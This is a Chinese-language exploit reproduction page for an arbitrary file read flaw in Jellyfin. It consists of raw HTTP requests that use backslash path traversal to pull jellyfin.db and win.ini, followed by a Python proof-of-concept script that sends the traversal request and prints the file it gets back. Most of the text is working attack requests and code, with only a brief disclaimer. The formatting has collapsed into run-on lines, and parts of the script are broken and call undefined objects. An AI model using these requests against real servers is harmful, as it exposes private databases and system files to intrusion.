Jellyfin任意文件读取复现

GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1GET /Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1

GET /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1Host: 127.0.0.1:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

#!/usr/bin/env python# -*- coding: utf-8 -*-'''name: Jellyfin任意文件读取referer: Jellyfin任意文件读取 IP:port/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/author: thelostworlddescription: Jellyfin任意文件读取。免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!'''import sysimport warningsimport requestsimport clickfrom urllib import parsefrom concurrent.futures import ThreadPoolExecutorimport urllib3from argparse import ArgumentParserimport threadpoolfrom urllib import parsefrom time import timeimport random
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
W = '33[0m'G = '33[1;32m'R = '33[1;31m'O = '33[1;33m'B = '33[1;34m'

#随机uadef get_ua():    first_num = random.randint(55, 62)    third_num = random.randint(0, 3200)    fourth_num = random.randint(0, 140)    os_type = [        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',        '(Macintosh; Intel Mac OS X 10_12_6)'    ]    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)
    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']                  )    return ua
def run(url):    result = ['','不存在']    url = parse.urlparse(url)    vulnurl = url.scheme + '://' + url.netloc + '/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/'    try:        headers = {'User-Agent': get_ua()}        req = requests.get(vulnurl,headers=headers,timeout=1,verify=False)        if req.status_code == 200 and "font" in req.text and "file" in req.text:            result[1] = '存在'            result[0] = vulnurl            print(result)            print(req.text)        else:            result[1] = '不存在'    except:        result[1] = '不存在'    return result
def main():    _exe.submit(batch)
if __name__ == "__main__":    warnings.filterwarnings("ignore")    testVuln = run(sys.argv[1])